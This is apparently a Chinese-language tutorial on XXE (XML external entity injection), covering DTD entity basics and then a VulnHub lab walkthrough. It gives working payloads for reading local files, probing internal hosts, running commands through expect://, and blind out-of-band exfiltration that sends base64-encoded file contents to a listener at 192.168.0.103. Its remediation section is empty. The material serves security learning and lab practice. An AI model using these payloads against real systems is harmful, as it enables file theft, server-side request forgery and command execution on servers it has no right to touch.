基础知识
XML 指可扩展标记语言(eXtensible Markup Language)。
- XML 被设计用来传输和存储数据。
- HTML 被设计用来显示数据。
- HTML 旨在显示信息,而 XML 旨在传输信息。
XML 特性:
- XML 没有预定义的标签,它允许创作者定义自己的标签和自己的文档结构。
XML文档结构包括:
- XML声明
- DTD 文档类型定义(可选)
- 文档元素
XML-DTD 格式如下:
1 2 3 4 5 6 7 8 9 10 11
| <!--XML声明--> <?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的--> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]>
<!--文档元素--> <foo>&xxe;</foo>
|
DTD - 文档类型定义其使用一系列合法的元素来定义文档的结构。
在 DTD 中,有一个叫 “实体” 的东西,其用于定义引用普通文本或特殊字符的快捷方式的变量。
使用方法如下:
1 2 3 4 5 6 7 8
| DTD example:
<!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com">
XML example:
<author>&writer;©right;</author>
|
在 DTD 中定义 writer、copyright 实体,然后在下面的 XML 中引用了这 2 给实体,应用格式就是 &实体名; 的格式。
上面的是引用本地 DTD 实体,其还可以从外部引用:
1 2 3 4 5 6 7 8
| DTD example:
<!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
XML example:
<author>&writer;©right;</author>
|
可以看到上面的实体是从一个 HTTP 链接获取的,且它不仅仅支持 HTTP 还支持如下协议:

可以看到有些协议是可以造成一些攻击的,其实还是 SSRF 那里的协议利用手法。
漏洞原理
XXE 又叫 XML 外部实体注入,从上面可以看到在引用外部实体时,其可以解析一些危险的外部协议,其攻击手法其实就是利用这些协议去操作攻击。
漏洞利用
有回显
读取文件
1 2 3
| <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "file:///D:/fuming.txt"> ]> <x>&xxe;</x>
|
内网探针
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY rabbit SYSTEM "http://localhost/index.txt" > ]> <x>&rabbit;</x>
|
RCE
该 CASE 是在安装 expect 扩展的 PHP 环境里执行系统命令
1 2 3
| <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id" > ]> <x>&xxe;</x>
|
引入外部实体 DTD
1 2 3 4 5 6
| <?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd"> %file; ]> <x>&send;</x>
|
evil2.dtd:
1
| <!ENTITY send SYSTEM "file:///d:/test.txt">
|
无回显
OOB
先使用 php://filter 获取目标文件的内容,然后将内容以 http 请求发送到接受数据的服务器,接收端通过日志或者构造文件接收数据。
1 2 3 4 5 6 7
| <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=test.txt"> <!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd"> %dtd; %send; ]>
|
test.dtd:
1 2 3 4
| <!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>" > %payload;
|
基于报错
基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url出不同,其他地方一模一样。
参考链接:https://blog.szfszf.top/tech/blind-xxe-%E8%AF%A6%E8%A7%A3-google-ctf-%E4%B8%80%E9%81%93%E9%A2%98%E7%9B%AE%E5%88%86%E6%9E%90/
靶场练习
实战演练
项目地址:https://download.vulnhub.com/xxe/XXE.zip


1
| http://192.168.184.130/xxe/
|
登陆:


可以看到是 XML 格式的输入,那么就可以构造 Payload 了:
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php"> ]> <root> <name>&xxe;</name><password>fuming</password></root>
|
读取 admin.php,Base64解密:
1
| $flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
|
得到 Flag 信息,在 ‘/flagmeout.php’,用 XXE 读一下:
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php"> ]> <root> <name>&xxe;</name><password>fuming</password></root>
|
Base64 解码:

这里又是一个 Base32 解码:

解出来又是 Base64:

XXE 读取 flag.php :
1 2 3 4
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php"> ]> <root> <name>&xxe;</name><password>fuming</password></root>
|

直接执行 PHP 文件:

漏洞挖掘
黑盒:看到参数是 XML,或者可以接受 XML 类型的参数即可测试
白盒:寻找解析 XML 的相关函数
漏洞修复